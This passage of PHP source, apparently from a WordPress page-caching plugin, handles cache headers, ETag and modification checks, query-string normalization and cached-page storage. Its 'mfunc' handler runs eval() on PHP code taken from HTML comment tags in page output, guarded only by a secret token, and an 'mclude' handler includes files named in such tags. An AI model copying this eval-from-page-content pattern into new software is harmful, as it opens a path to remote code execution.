$strings[] = sprintf( "%s%s",
str_pad( $i['name'] . ': ', 20 ),
Util_Content::escape_comment( $i['value'] ) );
}
}
$strings[] = '';
}
return $strings;
}
/**
* Sends headers
*
* @param array $headers
* @return boolean
*/
function _headers( $headers ) {
if ( headers_sent() )
return false;
$repeating = array();
// headers are sent as name->value and array(n=>, v=>)
// to support repeating headers
foreach ( $headers as $name0 => $value0 ) {
if ( is_array( $value0 ) && isset( $value0['n'] ) ) {
$name = $value0['n'];
$value = $value0['v'];
} else {
$name = $name0;
$value = $value0;
}
if ( $name == 'Status' ) {
@header( $headers['Status'] );
} elseif ( $name == 'Status-Code' ) {
if ( function_exists( 'http_response_code' ) ) // php5.3 compatibility)
@http_response_code( $headers['Status-Code'] );
} elseif ( !empty( $name ) && !empty( $value ) ) {
@header( $name . ': ' . $value, !isset( $repeating[$name] ) );
$repeating[$name] = true;
}
}
return true;
}
/**
* Sends headers
*
* @param boolean $is_404
* @param string $etag
* @param integer $time
* @param string $compression
* @param array $custom_headers
* @return boolean
*/
function _send_headers( $is_404, $time, $etag, $compression, $custom_headers = array() ) {
$exit = false;
$headers = ( is_array( $custom_headers ) ? $custom_headers : array() );
$curr_time = time();
$bc_lifetime = $this->_config->get_integer(
'browsercache.html.lifetime' );
$expires = ( is_null( $time ) ? $curr_time : $time ) + $bc_lifetime;
$max_age = ( $expires > $curr_time ? $expires - $curr_time : 0 );
if ( $is_404 ) {
/**
* Add 404 header
*/
$headers['Status'] = 'HTTP/1.1 404 Not Found';
} elseif ( ( !is_null( $time ) && $this->_check_modified_since( $time ) ) || $this->_check_match( $etag ) ) {
/**
* Add 304 header
*/
$headers['Status'] = 'HTTP/1.1 304 Not Modified';
/**
* Don't send content if it isn't modified
*/
$exit = true;
}
if ( $this->_config->get_boolean( 'browsercache.enabled' ) ) {
if ( $this->_config->get_boolean( 'browsercache.html.last_modified' ) ) {
$headers['Last-Modified'] = Util_Content::http_date( $time );
}
if ( $this->_config->get_boolean( 'browsercache.html.expires' ) ) {
$headers['Expires'] = Util_Content::http_date( $expires );
}
if ( $this->_config->get_boolean( 'browsercache.html.cache.control' ) ) {
switch ( $this->_config->get_string( 'browsercache.html.cache.policy' ) ) {
case 'cache':
$headers['Pragma'] = 'public';
$headers['Cache-Control'] = 'public';
break;
case 'cache_public_maxage':
$headers['Pragma'] = 'public';
$headers['Cache-Control'] = sprintf( 'max-age=%d, public', $max_age );
break;
case 'cache_validation':
$headers['Pragma'] = 'public';
$headers['Cache-Control'] = 'public, must-revalidate, proxy-revalidate';
break;
case 'cache_noproxy':
$headers['Pragma'] = 'public';
$headers['Cache-Control'] = 'private, must-revalidate';
break;
case 'cache_maxage':
$headers['Pragma'] = 'public';
$headers['Cache-Control'] = sprintf( 'max-age=%d, public, must-revalidate, proxy-revalidate', $max_age );
break;
case 'no_cache':
$headers['Pragma'] = 'no-cache';
$headers['Cache-Control'] = 'private, no-cache';
break;
case 'no_store':
$headers['Pragma'] = 'no-store';
$headers['Cache-Control'] = 'no-store';
break;
}
}
if ( $this->_config->get_boolean( 'browsercache.html.etag' ) ) {
$headers['ETag'] = '"' . $etag . '"';
}
}
$headers = array_merge( $headers,
$this->_get_common_headers( $compression ) );
/**
* Send headers to client
*/
$result = $this->_headers( $headers );
if ( $exit )
exit();
return $result;
}
/**
* Returns headers to send regardless is page caching is active
*/
function _get_common_headers( $compression ) {
$headers = array();
if ( $this->_config->get_boolean( 'browsercache.enabled' ) ) {
if ( $this->_config->get_boolean( 'browsercache.html.w3tc' ) ) {
$headers['X-Powered-By'] = Util_Environment::w3tc_header();
}
}
$vary = '';
//compressed && UAG
if ( $compression && $this->_page_key_extension['useragent'] ) {
$vary = 'Accept-Encoding,User-Agent,Cookie';
$headers['Content-Encoding'] = $compression;
//compressed
} elseif ( $compression ) {
$vary = 'Accept-Encoding';
$headers['Content-Encoding'] = $compression;
//uncompressed && UAG
} elseif ( $this->_page_key_extension['useragent'] ) {
$vary = 'User-Agent,Cookie';
}
//Add Cookie to vary if user logged in and not previously set
if ( !$this->_check_logged_in() && strpos( $vary, 'Cookie' ) === false ) {
if ( $vary )
$vary .= ',Cookie';
else
$vary = 'Cookie';
}
/**
* Add vary header
*/
if ( $vary )
$headers['Vary'] = $vary;
/**
* Disable caching for preview mode
*/
if ( Util_Environment::is_preview_mode() ) {
$headers['Pragma'] = 'private';
$headers['Cache-Control'] = 'private';
}
return $headers;
}
/**
* Check if content was modified by time
*
* @param integer $time
* @return boolean
*/
function _check_modified_since( $time ) {
if ( !empty( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ) ) {
$if_modified_since = htmlspecialchars( stripslashes( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ) ); // phpcs:ignore
// IE has tacked on extra data to this header, strip it
if ( ( $semicolon = strrpos( $if_modified_since, ';' ) ) !== false ) {
$if_modified_since = substr( $if_modified_since, 0, $semicolon );
}
return $time == strtotime( $if_modified_since );
}
return false;
}
/**
* Check if content was modified by etag
*
* @param string $etag
* @return boolean
*/
function _check_match( $etag ) {
if ( !empty( $_SERVER['HTTP_IF_NONE_MATCH'] ) ) {
$if_none_match = htmlspecialchars( stripslashes( $_SERVER['HTTP_IF_NONE_MATCH'] ) ); // phpcs:ignore
$client_etags = explode( ',', $if_none_match );
foreach ( $client_etags as $client_etag ) {
$client_etag = trim( $client_etag );
if ( $etag == $client_etag ) {
return true;
}
}
}
return false;
}
/**
* Bad Behavior support
*
* @return void
*/
function _bad_behavior() {
$bb_file = $this->_config->get_string( 'pgcache.bad_behavior_path' );
if ( $bb_file != '' )
require_once $bb_file;
}
/**
* Parses dynamic tags
*/
function _parse_dynamic( $buffer ) {
if ( !defined( 'W3TC_DYNAMIC_SECURITY' ) )
return $buffer;
$buffer = preg_replace_callback( '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->(.*)<!--\s*/mfunc\s*' . W3TC_DYNAMIC_SECURITY . '\s*-->~Uis', array(
$this,
'_parse_dynamic_mfunc'
), $buffer );
$buffer = preg_replace_callback( '~<!--\s*mclude\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->(.*)<!--\s*/mclude\s*' . W3TC_DYNAMIC_SECURITY . '\s*-->~Uis', array(
$this,
'_parse_dynamic_mclude'
), $buffer );
return $buffer;
}
/**
* Parse dynamic mfunc callback
*
* @param array $matches
* @return string
*/
function _parse_dynamic_mfunc( $matches ) {
$code1 = trim( $matches[1] );
$code2 = trim( $matches[2] );
$code = ( $code1 ? $code1 : $code2 );
if ( $code ) {
$code = trim( $code, ';' ) . ';';
try {
ob_start();
$result = eval( $code );
$output = ob_get_contents();
ob_end_clean();
} catch ( \Exception $ex ) {
$result = false;
}
if ( $result === false ) {
$output = sprintf( 'Unable to execute code: %s', htmlspecialchars( $code ) );
}
} else {
$output = htmlspecialchars( 'Invalid mfunc tag syntax. The correct format is: <!-- W3TC_DYNAMIC_SECURITY mfunc PHP code --><!-- /mfunc W3TC_DYNAMIC_SECURITY --> or <!-- W3TC_DYNAMIC_SECURITY mfunc -->PHP code<!-- /mfunc W3TC_DYNAMIC_SECURITY -->.' );
}
return $output;
}
/**
* Parse dynamic mclude callback
*
* @param array $matches
* @return string
*/
function _parse_dynamic_mclude( $matches ) {
$file1 = trim( $matches[1] );
$file2 = trim( $matches[2] );
$file = ( $file1 ? $file1 : $file2 );
if ( $file ) {
$file = ABSPATH . $file;
if ( file_exists( $file ) && is_readable( $file ) ) {
ob_start();
include $file;
$output = ob_get_contents();
ob_end_clean();
} else {
$output = sprintf( 'Unable to open file: %s', htmlspecialchars( $file ) );
}
} else {
$output = htmlspecialchars( 'Incorrect mclude tag syntax. The correct format is: <!-- mclude W3TC_DYNAMIC_SECURITY path/to/file.php --><!-- /mclude W3TC_DYNAMIC_SECURITY --> or <!-- mclude W3TC_DYNAMIC_SECURITY -->path/to/file.php<!-- /mclude W3TC_DYNAMIC_SECURITY -->.' );
}
return $output;
}
/**
* Checks if buffer has dynamic tags
*
* @param string $buffer
* @return boolean
*/
function _has_dynamic( $buffer ) {
if ( !defined( 'W3TC_DYNAMIC_SECURITY' ) )
return false;
return preg_match( '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->(.*)<!--\s*/m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '\s*-->~Uis', $buffer );
}
/**
* Check whether requested page has content type that can be cached
*
* @return bool
*/
private function _is_cacheable_content_type() {
$content_type = '';
$headers = headers_list();
foreach ( $headers as $header ) {
$header = strtolower( $header );
$m = null;
if ( preg_match( '~\s*content-type\s*:([^;]+)~', $header, $m ) ) {
$content_type = trim( $m[1] );
}
}
$cache_headers = apply_filters( 'w3tc_is_cacheable_content_type',
array(
'' /* redirects, they have only Location header set */,
'application/json', 'text/html', 'text/xml', 'text/xsl',
'application/xhtml+xml', 'application/rss+xml',
'application/atom+xml', 'application/rdf+xml',
'application/xml'
)
);
return in_array( $content_type, $cache_headers );
}
/**
* Fills $_request_url_fragments['path'], $_request_url_fragments['querystring']
* with cache-related normalized values
*/
private function _preprocess_request_uri() {
$p = explode( '?', $this->_request_uri, 2 );
$this->_request_url_fragments['path'] = $p[0];
$this->_request_url_fragments['querystring'] =
( empty( $p[1] ) ? '' : '?' . $p[1] );
$this->_request_url_fragments = $this->_normalize_url_fragments(
$this->_request_url_fragments );
}
private function _normalize_url_fragments( $fragments ) {
$fragments = w3tc_apply_filters( 'pagecache_normalize_url_fragments',
$fragments );
$fragments['querystring'] = $this->_normalize_querystring(
$fragments['querystring'] );
return $fragments;
}
private function _normalize_querystring( $querystring ) {
$ignore_qs = $this->_config->get_array( 'pgcache.accept.qs' );
$ignore_qs = w3tc_apply_filters( 'pagecache_extract_accept_qs', $ignore_qs );
Util_Rule::array_trim( $ignore_qs );
if ( empty( $ignore_qs ) || empty( $querystring ) ) {
return $querystring;
}
$querystring_naked = substr( $querystring, 1 );
foreach ( $ignore_qs as $qs ) {
$m = null;
if ( strpos( $qs, '=' ) === false ) {
$regexp = Util_Environment::preg_quote( str_replace( '+', ' ', $qs ) );
if ( @preg_match( "~^(.*?&|)$regexp(=[^&]*)?(&.*|)$~i", $querystring_naked, $m ) ) {
$querystring_naked = $m[1] . $m[3];
}
} else {
$regexp = Util_Environment::preg_quote( str_replace( '+', ' ', $qs ) );
if ( @preg_match( "~^(.*?&|)$regexp(&.*|)$~i", $querystring_naked, $m ) ) {
$querystring_naked = $m[1] . $m[2];
}
}
}
$querystring_naked = preg_replace( '~[&]+~', '&', $querystring_naked );
$querystring_naked = trim( $querystring_naked, '&' );
return empty( $querystring_naked ) ? '' : '?' . $querystring_naked;
}
/**
*
*/
public function delayed_cache_print() {
if ( $this->_late_caching && $this->_caching ) {
$this->_cached_data = $this->_extract_cached_page( true );
if ( $this->_cached_data ) {
global $w3_late_caching_succeeded;
$w3_late_caching_succeeded = true;
$this->process_status = 'hit';
$this->process_cached_page_and_exit( $this->_cached_data );
// if is passes here - exit is not possible now and
// will happen on init
return;
}
}
if ( $this->_late_init && $this->_caching ) {
$this->process_status = 'hit';
$this->process_cached_page_and_exit( $this->_cached_data );
// if is passes here - exit is not possible now and
// will happen on init
return;
}
}
private function _maybe_save_cached_result( $buffer, $response_headers, $has_dynamic ) {
$mobile_group = $this->_page_key_extension['useragent'];
$referrer_group = $this->_page_key_extension['referrer'];
$encryption = $this->_page_key_extension['encryption'];
$compression_header = $this->_page_key_extension['compression'];
$compressions_to_store = $this->_get_compressions();
/**
* Don't compress here for debug mode or dynamic tags
* because we need to modify buffer before send it to client
*/
if ( $this->_debug || $has_dynamic ) {
$compressions_to_store = array( false );
}
// right now dont return compressed buffer if we are dynamic,
// that will happen on shutdown after processing dynamic stuff
$compression_of_returned_content =
( $has_dynamic ? false : $compression_header );
$headers = $this->_get_cached_headers( $response_headers['plain'] );
if ( !empty( $headers['Status-Code'] ) ) {
$is_404 = ( $headers['Status-Code'] == 404 );
} elseif ( function_exists( 'is_404' ) ) {
$is_404 = is_404();
} else {
$is_404 = false;
}
if ( $this->_enhanced_mode ) {
// redirect issued, if we have some old cache entries
// they will be turned into fresh files and catch further requests
if ( isset( $response_headers['kv']['location'] ) ) {
$cache = $this->_get_cache( $this->_page_key_extension['group'] );
foreach ( $compressions_to_store as $_compression ) {
$_page_key = $this->_get_page_key(
array_merge( $this->_page_key_extension,
array( 'compression' => $_compression ) ) );
$cache->hard_delete( $_page_key );
}
return $buffer;
}
}
$content_type = '';
if ( $this->_enhanced_mode && !$this->_late_init ) {
register_shutdown_function( array(
$this,
'_check_rules_present'
) );
if ( isset( $response_headers['kv']['content-type'] ) ) {
$content_type = $response_headers['kv']['content-type'];
}
}
$time = time();
$cache = $this->_get_cache( $this->_page_key_extension['group'] );
/**
* Store different versions of cache
*/
$buffers = array();
$something_was_set = false;
foreach ( $compressions_to_store as $_compression ) {
$this->_set_extract_page_key(
array_merge( $this->_page_key_extension,
array(
'compression' => $_compression,
'content_type' => $content_type ) ), true );
if ( empty( $this->_page_key ) )
continue;
// Compress content
$buffers[$_compression] = $this->_compress( $buffer, $_compression );
// Store cache data
$_data = array(
'404' => $is_404,
'headers' => $headers,
'time' => $time,
'content' => $buffers[$_compression]
);
if ( !empty( $_compression ) ) {
$_data['c'] = $_compression;
}
if ( $has_dynamic )
$_data['has_dynamic'] = true;
$_data = apply_filters( 'w3tc_pagecache_set', $_data, $this->_page_key,
$this->_page_group );
if ( !empty( $_data ) ) {
$cache->set( $this->_page_key, $_data, $this->_lifetime, $this->_page_group );
$something_was_set = true;
}
}
if ( $something_was_set ) {
$this->process_status = 'miss_fill';
} else {
$this->process_status = 'miss_third_party';
}
// Change buffer if using compression
if ( defined( 'W3TC_PAGECACHE_OUTPUT_COMPRESSION_OFF' ) ) {
$compression_header = false;
} elseif ( $compression_of_returned_content &&
isset( $buffers[$compression_of_returned_content] ) ) {
$buffer = $buffers[$compression_of_returned_content];
}
// Calculate content etag
$etag = md5( $buffer );
// Send headers
$this->_send_headers( $is_404, $time, $etag, $compression_header,
$headers );
return $buffer;
}
public function w3tc_usage_statistics_of_request( $storage ) {
global $w3tc_start_microtime;
$time_ms = 0;
if ( !empty( $w3tc_start_microtime ) ) {
$time_ms = (int)( ( microtime( true ) - $w3tc_start_microtime ) * 1000 );
$storage->counter_add( 'pagecache_requests_time_10ms', (int)( $time_ms / 10 ) );
}
if ( !empty( $this->process_status ) ) {
// see registered keys in PgCache_Plugin.w3tc_usage_statistics_metrics
$storage->counter_add( 'php_requests_pagecache_' . $this->process_status, 1 );
if ( $this->_debug ) {
self::log( 'finished in ' . $time_ms .
' size ' . $this->output_size .
' with process status ' .
$this->process_status .
' reason ' . $this->cache_reject_reason);
}
}
}
/**
* Log.
*/
static protected function log( $msg ) {
$data = sprintf(
"[%s] [%s] [%s] %s\n", date( 'r' ),
isset( $_SERVER['REQUEST_URI'] ) ? filter_var( stripslashes( $_SERVER['REQUEST_URI'] ), FILTER_SANITIZE_URL ) : '',
! empty( $_SERVER['HTTP_REFERER'] ) ? htmlspecialchars( $_SERVER['HTTP_REFERER'] ) : '-',
$msg
);
$data = strtr( $data, '<>', '..' );
$filename = Util_Debug::log_filename( 'pagecache' );
return @file_put_contents( $filename, $data, FILE_APPEND );
}
}